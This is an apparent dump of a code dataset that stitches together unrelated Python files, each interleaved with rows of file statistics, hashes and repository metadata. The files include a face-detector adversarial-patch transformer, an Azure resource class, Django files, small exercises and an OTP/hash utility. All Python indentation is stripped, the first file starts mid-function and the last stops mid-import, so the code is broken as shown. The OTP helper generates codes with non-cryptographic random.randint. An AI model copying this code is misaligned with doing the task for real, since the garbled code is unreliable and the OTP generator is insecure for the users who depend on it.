adv_batch = adv_batch.view(s[0] * s[1], s[2], s[3], s[4]) # 84 x 3 x 416 x 416
one_zero_mask_batch = one_zero_mask_batch.view(s[0] * s[1], s[2], s[3], s[4])
msk_batch = msk_batch.view(s[0] * s[1], s[2], s[3], s[4]) # 84 x 3 x 416 x 416
tx = (-target_x+0.5)*2
ty = (-target_y+0.5)*2
sin = torch.sin(angle)
cos = torch.cos(angle)
# Theta = rotation, rescale matrix
if use_cuda:
theta = torch.cuda.FloatTensor(anglesize, 2, 3).fill_(0)
else:
theta = torch.FloatTensor(anglesize, 2, 3).fill_(0) # dim 84 x 2 x 3 (N x 2 x 3) required by F.affine_grid
# theta[:, 0, 0] = cos/scale
# theta[:, 0, 1] = sin/scale
# theta[:, 0, 2] = tx*cos/scale+ty*sin/scale
# theta[:, 1, 0] = -sin/scale
# theta[:, 1, 1] = cos/scale
# theta[:, 1, 2] = -tx*sin/scale+ty*cos/scale
theta[:, 0, 0] = (cos*cos_align_angle -sin*sin_align_angle) / scale
theta[:, 0, 1] = (sin*cos_align_angle + cos*sin_align_angle) / scale
theta[:, 0, 2] = (tx * cos / scale + ty * sin / scale)*cos_align_angle + (-tx * sin / scale + ty * cos / scale)*sin_align_angle
theta[:, 1, 0] = (-sin_align_angle*cos -cos_align_angle*sin) / scale
theta[:, 1, 1] = (-sin_align_angle*sin + cos_align_angle*cos)/ scale
theta[:, 1, 2] = -sin_align_angle * (tx * cos / scale + ty * sin / scale) + cos_align_angle * (-tx * sin / scale + ty * cos / scale)
grid = F.affine_grid(theta, adv_batch.shape) # adv_batch should be of type N x C x Hin x Win. Output is N x Hg x Wg x 2
adv_batch_t = F.grid_sample(adv_batch, grid) # computes the output using input values and pixel locations from grid.
one_zero_mask_batch_t = F.grid_sample(one_zero_mask_batch, grid)
msk_batch_t = F.grid_sample(msk_batch, grid) # Output has dim N x C x Hg x Wg
adv_batch_t = adv_batch_t.view(s[0], s[1], s[2], s[3], s[4]) # 4 x 16 x 3 x 416 x 416
one_zero_mask_batch_t = one_zero_mask_batch_t.view(s[0], s[1], s[2], s[3], s[4])
msk_batch_t = msk_batch_t.view(s[0], s[1], s[2], s[3], s[4])
adv_batch_t = torch.clamp(adv_batch_t, 0.000001, 0.999999)
adv_batch_out = adv_batch_t * one_zero_mask_batch_t
return adv_batch_out * msk_batch_t
def choose_patch(choice):
use_cuda=0
if choice == 'gray':
adv_patch_size = (250, 450)
adv_patch = torch.full((3, adv_patch_size[0], adv_patch_size[1]), 0.5)
elif choice == 'gray_mouth_bigger':
adv_patch_size = (300, 450)
adv_patch = torch.full((3, adv_patch_size[0], adv_patch_size[1]), 0.5)
elif choice == 'glasses':
glass_path = "./glasses2.png"
patch = Image.open(glass_path).convert('RGB')
patch.thumbnail((500, 500))
adv_patch = transforms.ToTensor()(patch)
# preprocess
if use_cuda:
gray_batch = torch.cuda.FloatTensor(adv_patch.size()).fill_(0.5)
print(gray_batch.size())
black_batch = torch.cuda.FloatTensor(adv_patch.size()).fill_(0)
else:
gray_batch = torch.FloatTensor(adv_patch.size()).fill_(0.5)
black_batch = torch.FloatTensor(adv_patch.size()).fill_(0)
adv_patch = torch.where(adv_patch == 31 / 255, gray_batch, black_batch)
# adv_patch_im = transforms.ToPILImage('RGB')(adv_patch)
# plt.imshow(adv_patch_im)
# plt.show()
return adv_patch
# if __name__ == '__main__':
# img_dir = "C:/Users/Alessandro/PycharmProjects/mtcnn_pytorch_adversarial/FDDB_test_results/clean_results/mtcnn_images_set_filtered/"
# lab_dir = "C:/Users/Alessandro/PycharmProjects/mtcnn_pytorch_adversarial/FDDB_test_results/clean_results/mtcnn_labels_filtered/"
# max_lab = 8
# img_size = 600
# batch_size = 3
# train_loader = torch.utils.data.DataLoader(FDDBDataset(img_dir, lab_dir, max_lab, img_size, shuffle=True), batch_size=batch_size, shuffle=True, num_workers=10)
# n=0
# for i_batch, (img_batch, lab_batch) in enumerate(train_loader):
# n+=1
# print(n)
# adv_patch = choose_patch('glasses')
# adv_patch_im = transforms.ToPILImage('RGB')(adv_patch)
# plt.imshow(adv_patch_im)
# plt.show()
# gray_batch = torch.full((3, adv_patch.size()[1], adv_patch.size()[2]), 0.5)
# black_batch = torch.full((3, adv_patch.size()[1], adv_patch.size()[2]), 0)
# white_batch = torch.full((3, adv_patch.size()[1], adv_patch.size()[2]), 255 / 255)
# adv_patch = torch.where(adv_patch==31/255, gray_batch, black_batch)
# adv_patch_im = transforms.ToPILImage('RGB')(adv_patch)
# plt.imshow(adv_patch_im)
# plt.show()
# adv_batch = PatchTransformer_glasses()(adv_patch, lab_batch, img_size, loc= 'eyes', do_rotate=False, rand_loc=False, align_angle = True)
# p_img_batch = PatchApplier()(img_batch, adv_batch)
# p_img_batch = F.interpolate(p_img_batch, (img_size, img_size))
# im = transforms.ToPILImage('RGB')(p_img_batch[0])
# plt.imshow(im)
# plt.show()
| 44.60775
| 165
| 0.602712
| 6,120
| 47,195
| 4.055719
| 0.078268
| 0.05028
| 0.021433
| 0.015713
| 0.769751
| 0.73881
| 0.720519
| 0.710407
| 0.693767
| 0.687402
| 0
| 0.032054
| 0.272868
| 47,195
| 1,057
| 166
| 44.649953
| 0.691232
| 0.257019
| 0
| 0.628713
| 0
| 0
| 0.012188
| 0
| 0
| 0
| 0
| 0
| 0.0033
| 1
| 0.031353
| false
| 0
| 0.029703
| 0.00165
| 0.10066
| 0.039604
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
5cc5859139caa6e080bb73befb523f1393ac65e6
| 1,082
|
py
|
Python
|
cloudrail/knowledge/context/azure/network/azure_nsg_to_nic_association.py
|
my-devops-info/cloudrail-knowledge
|
b7c1bbd6fe1faeb79c105a01c0debbe24d031a0e
|
[
"MIT"
] | null | null | null |
cloudrail/knowledge/context/azure/network/azure_nsg_to_nic_association.py
|
my-devops-info/cloudrail-knowledge
|
b7c1bbd6fe1faeb79c105a01c0debbe24d031a0e
|
[
"MIT"
] | null | null | null |
cloudrail/knowledge/context/azure/network/azure_nsg_to_nic_association.py
|
my-devops-info/cloudrail-knowledge
|
b7c1bbd6fe1faeb79c105a01c0debbe24d031a0e
|
[
"MIT"
] | null | null | null |
from typing import List, Optional
from cloudrail.knowledge.context.azure.azure_resource import AzureResource
from cloudrail.knowledge.context.azure.constants.azure_resource_type import AzureResourceType
class AzureNetworkSecurityGroupToNicAssociation(AzureResource):
"""
Attributes:
nic_id: The network interface id which needs to be connected to the NSG.
network_security_group_id: The network security group id which needs to be connected to the NIC.
"""
def __init__(self, nic_id: str, network_security_group_id: str):
super().__init__(AzureResourceType.AZURERM_NETWORK_INTERFACE_SECURITY_GROUP_ASSOCIATION)
self.nic_id: str = nic_id
self.network_security_group_id = network_security_group_id
def get_cloud_resource_url(self) -> Optional[str]:
pass
def get_friendly_name(self) -> str:
pass
@property
def is_tagable(self) -> bool:
return False
def get_keys(self) -> List[str]:
return [self.subscription_id, self.nic_id, self.network_security_group_id]
| 34.903226
| 108
| 0.735675
| 137
| 1,082
| 5.489051
| 0.372263
| 0.121011
| 0.159574
| 0.175532
| 0.25266
| 0.162234
| 0.162234
| 0.079787
| 0
| 0
| 0
| 0
| 0.195933
| 1,082
| 30
| 109
| 36.066667
| 0.864368
| 0.174677
| 0
| 0.117647
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.294118
| false
| 0.117647
| 0.176471
| 0.117647
| 0.647059
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
|
0
| 4
|
7a211f90dbcf8af819fe26c1c796260a3f9e8065
| 65
|
py
|
Python
|
tests/data/src/pep517_setup_only/setup.py
|
briantracy/pip
|
39398cb2812cce5ad62a18f195060477b79f6c59
|
[
"MIT"
] | 7,089
|
2015-01-01T10:48:04.000Z
|
2022-03-31T08:47:02.000Z
|
tests/data/src/pep517_setup_only/setup.py
|
illia-v/pip
|
76cd70ac42cbbe6a51d83bd100f500ac4c21f26b
|
[
"MIT"
] | 8,417
|
2015-01-01T13:03:16.000Z
|
2022-03-31T17:40:27.000Z
|
tests/data/src/pep517_setup_only/setup.py
|
illia-v/pip
|
76cd70ac42cbbe6a51d83bd100f500ac4c21f26b
|
[
"MIT"
] | 2,663
|
2015-01-02T04:02:12.000Z
|
2022-03-30T02:30:46.000Z
|
from setuptools import setup
setup(name="dummy", version="0.1")
| 16.25
| 34
| 0.738462
| 10
| 65
| 4.8
| 0.9
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.034483
| 0.107692
| 65
| 3
| 35
| 21.666667
| 0.793103
| 0
| 0
| 0
| 0
| 0
| 0.123077
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
7a2d911a5217249b8d0976bad8835c3e47ed9ac3
| 135
|
py
|
Python
|
OpenGLCffi/GLES3/EXT/NV/conservative_raster.py
|
cydenix/OpenGLCffi
|
c78f51ae5e6b655eb2ea98f072771cf69e2197f3
|
[
"MIT"
] | null | null | null |
OpenGLCffi/GLES3/EXT/NV/conservative_raster.py
|
cydenix/OpenGLCffi
|
c78f51ae5e6b655eb2ea98f072771cf69e2197f3
|
[
"MIT"
] | null | null | null |
OpenGLCffi/GLES3/EXT/NV/conservative_raster.py
|
cydenix/OpenGLCffi
|
c78f51ae5e6b655eb2ea98f072771cf69e2197f3
|
[
"MIT"
] | null | null | null |
from OpenGLCffi.GLES3 import params
@params(api='gles3', prms=['xbits', 'ybits'])
def glSubpixelPrecisionBiasNV(xbits, ybits):
pass
| 19.285714
| 45
| 0.748148
| 16
| 135
| 6.3125
| 0.75
| 0.19802
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.016529
| 0.103704
| 135
| 6
| 46
| 22.5
| 0.818182
| 0
| 0
| 0
| 0
| 0
| 0.112782
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0.25
| 0.25
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
7a49a3ef2deadcba10b60e9dff3dacf654d0e204
| 92
|
py
|
Python
|
lib/functions/consumer.py
|
haandol/msk-lambda-example
|
38df4a6b00256c6015531d20be6adde546fadfb7
|
[
"MIT"
] | 5
|
2021-01-29T19:51:13.000Z
|
2022-02-06T12:28:06.000Z
|
lib/functions/consumer.py
|
haandol/msk-lambda-example
|
38df4a6b00256c6015531d20be6adde546fadfb7
|
[
"MIT"
] | null | null | null |
lib/functions/consumer.py
|
haandol/msk-lambda-example
|
38df4a6b00256c6015531d20be6adde546fadfb7
|
[
"MIT"
] | null | null | null |
import json
def handler(event, context):
print(json.dumps(event))
return 'consumed'
| 18.4
| 28
| 0.706522
| 12
| 92
| 5.416667
| 0.833333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.173913
| 92
| 5
| 29
| 18.4
| 0.855263
| 0
| 0
| 0
| 0
| 0
| 0.086022
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0.25
| 0
| 0.75
| 0.25
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
7a56d8046ce993e40c63803b3c67505088ae7cad
| 120
|
py
|
Python
|
python/python_review/ex7.py
|
RickyCaoCao/ProgrammingNotes
|
89cd24c837ca8986cd4f97b6f6964d764a2742cc
|
[
"MIT"
] | null | null | null |
python/python_review/ex7.py
|
RickyCaoCao/ProgrammingNotes
|
89cd24c837ca8986cd4f97b6f6964d764a2742cc
|
[
"MIT"
] | null | null | null |
python/python_review/ex7.py
|
RickyCaoCao/ProgrammingNotes
|
89cd24c837ca8986cd4f97b6f6964d764a2742cc
|
[
"MIT"
] | null | null | null |
# Exercise 7 - List Comprehensions
a = [1, 4, 9, 16, 25, 36, 49, 64, 81, 100]
print([num for num in a if num % 2 == 0])
| 30
| 42
| 0.583333
| 25
| 120
| 2.8
| 0.88
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.230769
| 0.241667
| 120
| 4
| 43
| 30
| 0.538462
| 0.266667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.5
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
7a8d25d0004d8e6651fe6fd12ce0f94589d2b2c6
| 104
|
py
|
Python
|
app/__init__.py
|
soround/SpotifyToVKStatus
|
d74def3774a9d22133378862e491d2c4f091b397
|
[
"MIT"
] | null | null | null |
app/__init__.py
|
soround/SpotifyToVKStatus
|
d74def3774a9d22133378862e491d2c4f091b397
|
[
"MIT"
] | 1
|
2021-12-05T06:41:52.000Z
|
2021-12-07T01:26:37.000Z
|
app/__init__.py
|
soround/SpotifyToVKStatus
|
d74def3774a9d22133378862e491d2c4f091b397
|
[
"MIT"
] | null | null | null |
__version__ = '2.0.0'
print("*"*35)
print(f'SpotifyToVKStatus. Version: {__version__}')
print("*"*35)
| 14.857143
| 51
| 0.663462
| 13
| 104
| 4.692308
| 0.538462
| 0.229508
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.074468
| 0.096154
| 104
| 6
| 52
| 17.333333
| 0.574468
| 0
| 0
| 0.5
| 0
| 0
| 0.461538
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.75
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
7aa8dcc2083c468dd61f05713a007728d798fc63
| 458
|
py
|
Python
|
tests/test_utils.py
|
phernst/pytorch_radon
|
9b9905d5fd6acd28e6ab038ef094cdcf15a71266
|
[
"MIT"
] | 13
|
2019-10-03T01:40:47.000Z
|
2021-10-30T17:08:23.000Z
|
tests/test_utils.py
|
phernst/pytorch_radon
|
9b9905d5fd6acd28e6ab038ef094cdcf15a71266
|
[
"MIT"
] | 2
|
2020-09-18T15:24:55.000Z
|
2020-09-30T16:35:47.000Z
|
tests/test_utils.py
|
phernst/pytorch_radon
|
9b9905d5fd6acd28e6ab038ef094cdcf15a71266
|
[
"MIT"
] | 6
|
2019-11-26T00:32:45.000Z
|
2021-09-09T06:56:34.000Z
|
import unittest
import numpy as np
import torch
from pytorch_radon.utils import PI, SQRT2, deg2rad
class TestUtils(unittest.TestCase):
def test_pi(self):
self.assertAlmostEqual(PI.item(), np.pi)
def test_sqrt2(self):
self.assertAlmostEqual(SQRT2.item(), np.sqrt(2))
def test_deg2rad(self):
self.assertAlmostEqual(deg2rad(45, dtype=torch.double).item(), np.deg2rad(45))
if __name__ == '__main__':
unittest.main()
| 22.9
| 86
| 0.700873
| 61
| 458
| 5.065574
| 0.47541
| 0.067961
| 0.242718
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.031746
| 0.174672
| 458
| 19
| 87
| 24.105263
| 0.785714
| 0
| 0
| 0
| 0
| 0
| 0.017467
| 0
| 0
| 0
| 0
| 0
| 0.230769
| 1
| 0.230769
| false
| 0
| 0.307692
| 0
| 0.615385
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
7abbb1ec408ddf3ddfeb8a100a04695739880753
| 238
|
py
|
Python
|
web_interface/simulations/admin.py
|
mdivband/arcade_swarm
|
bd387495b73da5530c4b934e1155f7fd316f739e
|
[
"MIT"
] | null | null | null |
web_interface/simulations/admin.py
|
mdivband/arcade_swarm
|
bd387495b73da5530c4b934e1155f7fd316f739e
|
[
"MIT"
] | null | null | null |
web_interface/simulations/admin.py
|
mdivband/arcade_swarm
|
bd387495b73da5530c4b934e1155f7fd316f739e
|
[
"MIT"
] | null | null | null |
from django.contrib import admin
from .models import *
admin.site.register(Simulation)
admin.site.register(SimulationPlayer)
admin.site.register(SimulationConfig)
admin.site.register(SimulationTimestep)
admin.site.register(UserAction)
| 21.636364
| 39
| 0.836134
| 28
| 238
| 7.107143
| 0.464286
| 0.226131
| 0.427136
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.067227
| 238
| 10
| 40
| 23.8
| 0.896396
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.285714
| 0
| 0.285714
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
8f984267bfcf78e2cefef7695414d932969d80cf
| 2,063
|
py
|
Python
|
DailyProgrammer/DP20170929C.py
|
DayGitH/Python-Challenges
|
bc32f1332a92fcc2dfa6f5ea4d95f8a8d64c3edf
|
[
"MIT"
] | 2
|
2020-12-23T18:59:22.000Z
|
2021-04-14T13:16:09.000Z
|
DailyProgrammer/DP20170929C.py
|
DayGitH/Python-Challenges
|
bc32f1332a92fcc2dfa6f5ea4d95f8a8d64c3edf
|
[
"MIT"
] | null | null | null |
DailyProgrammer/DP20170929C.py
|
DayGitH/Python-Challenges
|
bc32f1332a92fcc2dfa6f5ea4d95f8a8d64c3edf
|
[
"MIT"
] | null | null | null |
"""
[2017-09-29] Challenge #333 [Hard] Build a Web API-driven Data Site
https://www.reddit.com/r/dailyprogrammer/comments/739j8c/20170929_challenge_333_hard_build_a_web_apidriven/
# Description
A common theme in present-day programming are web APIs. We've had a previous challenge where you had to _consume_ an
API, today's challenge is to _implement_ one. Today's is relatively simple: a single CSV file as input that can
probably be represented by a single database table.
Your solution may use whatever technologies you wish to build on:
* Web server software, e.g. Flask, Rails, Play!, etc
* Database software, e.g. MySQL, MongoDB, etc - or none, using a database is optional
* Database interaction layer, e.g. SQLAlchemy, ActiveRecord, Ecto, etc
This challenge focuses less on the guts of the server and more on routing requests, transforming a request into a data
extraction method, and returning those results.
Today's challenge will utilize the State of Iowa - Monthly Voter Registration Totals by County data set:
https://data.iowa.gov/Communities-People/State-of-Iowa-Monthly-Voter-Registration-Totals-by/cp55-uurs
Download the JSON, CSV or other and use that as your input. It contains 19 columns and over 20,000 rows. Now expose the
data via a web API.
Your solution **must** implement the following API behaviors:
* A "get_voters_where" endpoint that takes the following optional arguments: county, month, party affiliation,
active_status, and limit (the max number of results to return). The endpoint must return a JSON-formatted output, but
the schema is up to you.
* All APIs must be RESTful (see [The REST API in five minutes](https://developer.marklogic.com/try/rest/index) for some
background if you need it).
This challenge extends Wednesday's idea of practicality and real world scenarios. Wednesday was some basic data
science, today is some basic application development. It's open ended.
# Bonus
Ensure your API is immune to attack vectors like SQL injection.
"""
def main():
pass
if __name__ == "__main__":
main()
| 52.897436
| 119
| 0.778963
| 335
| 2,063
| 4.731343
| 0.591045
| 0.007571
| 0.020189
| 0.026498
| 0.085804
| 0.085804
| 0.054259
| 0.054259
| 0
| 0
| 0
| 0.020034
| 0.153175
| 2,063
| 38
| 120
| 54.289474
| 0.887235
| 0.964615
| 0
| 0
| 0
| 0
| 0.125
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| true
| 0.25
| 0
| 0
| 0.25
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
8faa79dfcc6ca3d7fda46c27ca8cdbd4a90a6ead
| 629
|
py
|
Python
|
utility/crypt.py
|
491-password-security/storage
|
e529ebe9b5804b7ab9eb72c6f0d6d9d6cf841915
|
[
"MIT"
] | null | null | null |
utility/crypt.py
|
491-password-security/storage
|
e529ebe9b5804b7ab9eb72c6f0d6d9d6cf841915
|
[
"MIT"
] | null | null | null |
utility/crypt.py
|
491-password-security/storage
|
e529ebe9b5804b7ab9eb72c6f0d6d9d6cf841915
|
[
"MIT"
] | null | null | null |
import os
import struct
import random
from passlib.hash import pbkdf2_sha256 as sha256
class OTP:
@staticmethod
def generateRandom():
#need a crypt safe random generator
random_number = random.randint(100000, 999999)
#random_number = struct.unpack('I', os.urandom(length))
return random_number
class Sha:
"""
Hash password
"""
@staticmethod
def generate_hash(password):
return sha256.hash(password)
"""
Verify hash and password
"""
@staticmethod
def verify_hash(password, hash_):
return sha256.verify(password, hash_)
| 19.65625
| 63
| 0.650238
| 70
| 629
| 5.728571
| 0.485714
| 0.119701
| 0.114713
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.05423
| 0.267091
| 629
| 32
| 64
| 19.65625
| 0.815618
| 0.162162
| 0
| 0.1875
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.1875
| false
| 0.3125
| 0.25
| 0.125
| 0.75
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 1
| 0
|
0
| 4
|
8fcd1036ee806fe365c68cdc47f0511c56591633
| 1,573
|
py
|
Python
|
comp/nn/fusion/plain_fusion.py
|
Asichurter/MalFusionFSL
|
713bf64cc07a3489f42941fd2299837075575ac0
|
[
"MIT"
] | 4
|
2021-08-05T06:49:26.000Z
|
2021-12-02T09:06:41.000Z
|
comp/nn/fusion/plain_fusion.py
|
Asichurter/MalFusionFSL
|
713bf64cc07a3489f42941fd2299837075575ac0
|
[
"MIT"
] | null | null | null |
comp/nn/fusion/plain_fusion.py
|
Asichurter/MalFusionFSL
|
713bf64cc07a3489f42941fd2299837075575ac0
|
[
"MIT"
] | null | null | null |
import torch
from torch import nn
#####################################
# 只取序列特征的特征融合
#####################################
class SeqOnlyFusion(nn.Module):
def __init__(self):
super(SeqOnlyFusion, self).__init__()
def forward(self, seq_features, img_features, **kwargs):
return seq_features
#####################################
# 只取图像特征的特征融合
#####################################
class ImgOnlyFusion(nn.Module):
def __init__(self):
super(ImgOnlyFusion, self).__init__()
def forward(self, seq_features, img_features, **kwargs):
return img_features
#####################################
# 直接做序列特征和图像特征的维度连接的特征融合
#####################################
class CatFusion(nn.Module):
def __init__(self):
super(CatFusion, self).__init__()
def forward(self, seq_features, img_features, fuse_dim=1, **kwargs):
return torch.cat((seq_features, img_features), dim=fuse_dim)
#####################################
# 直接取序列特征和图像特征的相加值,一般需
# 要重投影
#####################################
class AddFusion(nn.Module):
def __init__(self):
super(AddFusion, self).__init__()
def forward(self, seq_features, img_features, **kwargs):
return seq_features + img_features
#####################################
# 直接取序列特征和图像特征的逐元素相乘,一般需
# 要重投影
#####################################
class ProductFusion(nn.Module):
def __init__(self):
super(ProductFusion, self).__init__()
def forward(self, seq_features, img_features, **kwargs):
return seq_features * img_features
| 23.477612
| 72
| 0.529561
| 139
| 1,573
| 5.561151
| 0.230216
| 0.128072
| 0.14489
| 0.227684
| 0.573092
| 0.573092
| 0.417853
| 0.417853
| 0.417853
| 0.360931
| 0
| 0.000752
| 0.155118
| 1,573
| 66
| 73
| 23.833333
| 0.580888
| 0.063573
| 0
| 0.333333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.37037
| false
| 0
| 0.074074
| 0.185185
| 0.814815
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
8916bf8387dc57c3de84fb3ce90bee4b7e05c736
| 151
|
py
|
Python
|
project_management/apps.py
|
Malikajaiswal/Project-Management-System-IIT-BHU
|
9a784981bea8545fb93b9baeea4ab79b64b18923
|
[
"MIT"
] | 18
|
2017-09-09T12:22:34.000Z
|
2022-03-06T13:25:55.000Z
|
project_management/apps.py
|
mayank0403/Project-Management-System-IIT-BHU
|
ebe675dcdb2b306aac8c14b6bd4916bf235ae122
|
[
"MIT"
] | null | null | null |
project_management/apps.py
|
mayank0403/Project-Management-System-IIT-BHU
|
ebe675dcdb2b306aac8c14b6bd4916bf235ae122
|
[
"MIT"
] | 12
|
2017-10-26T20:04:57.000Z
|
2022-03-25T18:12:28.000Z
|
from __future__ import unicode_literals
from django.apps import AppConfig
class ProjectManagementConfig(AppConfig):
name = 'project_management'
| 18.875
| 41
| 0.821192
| 16
| 151
| 7.375
| 0.8125
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.13245
| 151
| 7
| 42
| 21.571429
| 0.900763
| 0
| 0
| 0
| 0
| 0
| 0.119205
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
89186f20df5ffe1d1e64dcd098a7a54173742faa
| 46
|
py
|
Python
|
coach/__init__.py
|
vanessa/djangogirls
|
e56423ceda172858147dfa7006353f23264d4c67
|
[
"BSD-3-Clause"
] | 1
|
2020-04-08T00:12:01.000Z
|
2020-04-08T00:12:01.000Z
|
coach/__init__.py
|
vanessa/djangogirls
|
e56423ceda172858147dfa7006353f23264d4c67
|
[
"BSD-3-Clause"
] | 6
|
2020-06-06T01:38:47.000Z
|
2021-12-13T20:36:27.000Z
|
coach/__init__.py
|
vanessa/djangogirls
|
e56423ceda172858147dfa7006353f23264d4c67
|
[
"BSD-3-Clause"
] | null | null | null |
default_app_config = 'coach.apps.CoachConfig'
| 23
| 45
| 0.826087
| 6
| 46
| 6
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.065217
| 46
| 1
| 46
| 46
| 0.837209
| 0
| 0
| 0
| 0
| 0
| 0.478261
| 0.478261
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
8f05e8f7d0cd9c41ef6028f15457b452b9cd4582
| 458
|
py
|
Python
|
wdae/wdae/groups_api/tests/conftest.py
|
iossifovlab/gpf
|
e556243d29666179dbcb72859845b4d6c011af2b
|
[
"MIT"
] | null | null | null |
wdae/wdae/groups_api/tests/conftest.py
|
iossifovlab/gpf
|
e556243d29666179dbcb72859845b4d6c011af2b
|
[
"MIT"
] | 82
|
2019-07-22T11:44:23.000Z
|
2022-01-13T15:27:33.000Z
|
wdae/wdae/groups_api/tests/conftest.py
|
iossifovlab/gpf
|
e556243d29666179dbcb72859845b4d6c011af2b
|
[
"MIT"
] | null | null | null |
import pytest
from guardian.models import Group
